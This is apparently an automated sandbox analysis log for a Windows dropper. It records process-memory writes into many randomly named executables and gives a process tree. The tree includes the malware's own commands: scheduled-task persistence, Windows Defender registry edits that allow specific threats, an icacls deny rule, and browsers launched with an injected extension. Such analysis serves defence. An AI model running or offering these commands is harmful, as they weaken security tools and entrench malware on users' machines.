N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files\Google\Chrome\Application\chrome.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3804 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\51HqerGWInGgiQEgyHhi5Ewi.exe
PID 3804 wrote to memory of 2648 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\51HqerGWInGgiQEgyHhi5Ewi.exe
PID 3804 wrote to memory of 2568 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe
PID 3804 wrote to memory of 2568 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe
PID 3804 wrote to memory of 436 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe
PID 3804 wrote to memory of 436 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe
PID 3804 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe
PID 3804 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe
PID 3804 wrote to memory of 1016 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe
PID 3804 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe
PID 3804 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe
PID 3804 wrote to memory of 2084 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe
PID 3804 wrote to memory of 3684 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe
PID 3804 wrote to memory of 3684 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe
PID 3804 wrote to memory of 3684 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe
PID 3804 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe
PID 3804 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe
PID 3804 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe
PID 3804 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe
PID 3804 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe
PID 3804 wrote to memory of 3648 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe
PID 3804 wrote to memory of 4836 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe
PID 3804 wrote to memory of 4836 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe
PID 3804 wrote to memory of 4836 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe
PID 3804 wrote to memory of 3996 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe
PID 3804 wrote to memory of 3996 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe
PID 3804 wrote to memory of 3996 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe
PID 3804 wrote to memory of 2476 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe
PID 3804 wrote to memory of 2476 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe
PID 3804 wrote to memory of 2476 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe
PID 3804 wrote to memory of 3384 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe
PID 3804 wrote to memory of 3384 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe
PID 3804 wrote to memory of 3384 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe
PID 3804 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe
PID 3804 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe
PID 3804 wrote to memory of 2960 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe
PID 3804 wrote to memory of 4800 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\ILm1VJidP2rxCFpVshnScgnv.exe
PID 3804 wrote to memory of 4800 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\ILm1VJidP2rxCFpVshnScgnv.exe
PID 3804 wrote to memory of 4800 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\ILm1VJidP2rxCFpVshnScgnv.exe
PID 3804 wrote to memory of 5088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe
PID 3804 wrote to memory of 5088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe
PID 3804 wrote to memory of 5088 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe
PID 3804 wrote to memory of 1280 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe
PID 3804 wrote to memory of 1280 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe
PID 3804 wrote to memory of 1280 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe
PID 3804 wrote to memory of 3940 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe
PID 3804 wrote to memory of 3940 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe
PID 3804 wrote to memory of 3940 N/A C:\Users\Admin\AppData\Local\Temp\setup.exe C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe
PID 2084 wrote to memory of 1588 N/A C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe C:\Users\Admin\AppData\Local\Temp\is-K3KGQ.tmp\Mp8x5bobgjtqhrH0eLG6TG4R.tmp
PID 2084 wrote to memory of 1588 N/A C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe C:\Users\Admin\AppData\Local\Temp\is-K3KGQ.tmp\Mp8x5bobgjtqhrH0eLG6TG4R.tmp
PID 2084 wrote to memory of 1588 N/A C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe C:\Users\Admin\AppData\Local\Temp\is-K3KGQ.tmp\Mp8x5bobgjtqhrH0eLG6TG4R.tmp
PID 2476 wrote to memory of 4124 N/A C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe C:\Users\Admin\AppData\Local\Temp\7zSF6C4.tmp\Install.exe
PID 2476 wrote to memory of 4124 N/A C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe C:\Users\Admin\AppData\Local\Temp\7zSF6C4.tmp\Install.exe
PID 2476 wrote to memory of 4124 N/A C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe C:\Users\Admin\AppData\Local\Temp\7zSF6C4.tmp\Install.exe
PID 3996 wrote to memory of 4408 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3996 wrote to memory of 4408 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3996 wrote to memory of 4408 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3996 wrote to memory of 3584 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3996 wrote to memory of 3584 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3996 wrote to memory of 3584 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3996 wrote to memory of 4420 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3996 wrote to memory of 4420 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3996 wrote to memory of 4420 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
PID 3996 wrote to memory of 1328 N/A C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Processes

C:\Users\Admin\AppData\Local\Temp\setup.exe

"C:\Users\Admin\AppData\Local\Temp\setup.exe"

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc

C:\Windows\system32\svchost.exe

C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum

C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe

C:\Users\Admin\Documents\SimpleAdobe\QaJTEr3dmw7ln0GcExGbbGBX.exe

C:\Users\Admin\Documents\SimpleAdobe\51HqerGWInGgiQEgyHhi5Ewi.exe

C:\Users\Admin\Documents\SimpleAdobe\51HqerGWInGgiQEgyHhi5Ewi.exe

C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe

C:\Users\Admin\Documents\SimpleAdobe\m_9CDEY7PmIISiamjrGWjojo.exe

C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe

C:\Users\Admin\Documents\SimpleAdobe\OHHcmC743LqiNfsmae4js_QK.exe

C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe

C:\Users\Admin\Documents\SimpleAdobe\7forErqq4tbW3RURgjjmm5tm.exe

C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe

C:\Users\Admin\Documents\SimpleAdobe\7fNSg2WKyZlCWuN1JzjiXiZP.exe

C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe

C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe

C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe

C:\Users\Admin\Documents\SimpleAdobe\6IC7dyUGxyYC6aDNKgDSHQmp.exe

C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe

C:\Users\Admin\Documents\SimpleAdobe\LNB5cUXIMLWv2pLu3adb9Whf.exe

C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe

C:\Users\Admin\Documents\SimpleAdobe\t3vA2ofLelWYvnTOYXinyNdK.exe

C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe

C:\Users\Admin\Documents\SimpleAdobe\hfoYQesW8IJZ10pnd5hzvSEz.exe

C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe

C:\Users\Admin\Documents\SimpleAdobe\dYxScN9MMZvzIWB3AkbI0aU0.exe

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe

C:\Users\Admin\Documents\SimpleAdobe\qSN72VNu1dsgP8LHOGW1Rl9s.exe

C:\Users\Admin\Documents\SimpleAdobe\ILm1VJidP2rxCFpVshnScgnv.exe

C:\Users\Admin\Documents\SimpleAdobe\ILm1VJidP2rxCFpVshnScgnv.exe

C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe

C:\Users\Admin\Documents\SimpleAdobe\yyr14Q2qYaLOAnqjm2zPa6oC.exe

C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe

C:\Users\Admin\Documents\SimpleAdobe\Aiu1y1TzmkCw7FwsSWl6ROeB.exe

C:\Users\Admin\AppData\Local\Temp\is-K3KGQ.tmp\Mp8x5bobgjtqhrH0eLG6TG4R.tmp

"C:\Users\Admin\AppData\Local\Temp\is-K3KGQ.tmp\Mp8x5bobgjtqhrH0eLG6TG4R.tmp" /SL5="$D0058,4107979,54272,C:\Users\Admin\Documents\SimpleAdobe\Mp8x5bobgjtqhrH0eLG6TG4R.exe"

C:\Users\Admin\AppData\Local\Temp\7zSF6C4.tmp\Install.exe

.\Install.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

C:\Users\Admin\Documents\SimpleAdobe\SgyWxN7jSEUOkw_HmuPeEZI0.exe

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP HR" /sc HOURLY /rl HIGHEST

C:\Users\Admin\AppData\Local\Temp\7zS3A5.tmp\Install.exe

.\Install.exe /mGKCedidCE "525403" /S

C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe

"C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe" -i

C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe

"C:\Users\Admin\AppData\Local\Fast Mixer Free Edition\fastmixerfreeedition.exe" -s

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\Admin\AppData\Local\Temp\Extension"

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /RU "Admin" /tr "C:\ProgramData\WinTrackerSP\WinTrackerSP.exe" /tn "WinTrackerSP LG" /sc ONLOGON /rl HIGHEST

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc77fbab58,0x7ffc77fbab68,0x7ffc77fbab78

C:\Windows\SysWOW64\icacls.exe

icacls "C:\Users\Admin\AppData\Local\7dd73705-8f6d-4ee2-a162-e1ac0f84b7b7" /deny *S-1-1-0:(OI)(CI)(DE,DC)

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\Admin\AppData\Local\Temp\Extension"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffc77e646f8,0x7ffc77e64708,0x7ffc77e64718

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1708 --field-trial-handle=1236,i,36638023195385491,1677329563754373394,131072 /prefetch:2

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1236,i,36638023195385491,1677329563754373394,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2160 --field-trial-handle=1236,i,36638023195385491,1677329563754373394,131072 /prefetch:8

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3060 --field-trial-handle=1236,i,36638023195385491,1677329563754373394,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3068 --field-trial-handle=1236,i,36638023195385491,1677329563754373394,131072 /prefetch:1

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4104 --field-trial-handle=1236,i,36638023195385491,1677329563754373394,131072 /prefetch:1

C:\Windows\SysWOW64\forfiles.exe

forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"

C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe

"C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"

C:\Windows\SysWOW64\cmd.exe

"cmd" /c "C:\Users\Admin\AppData\Local\Temp\nswFC43.tmp\est.bat"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

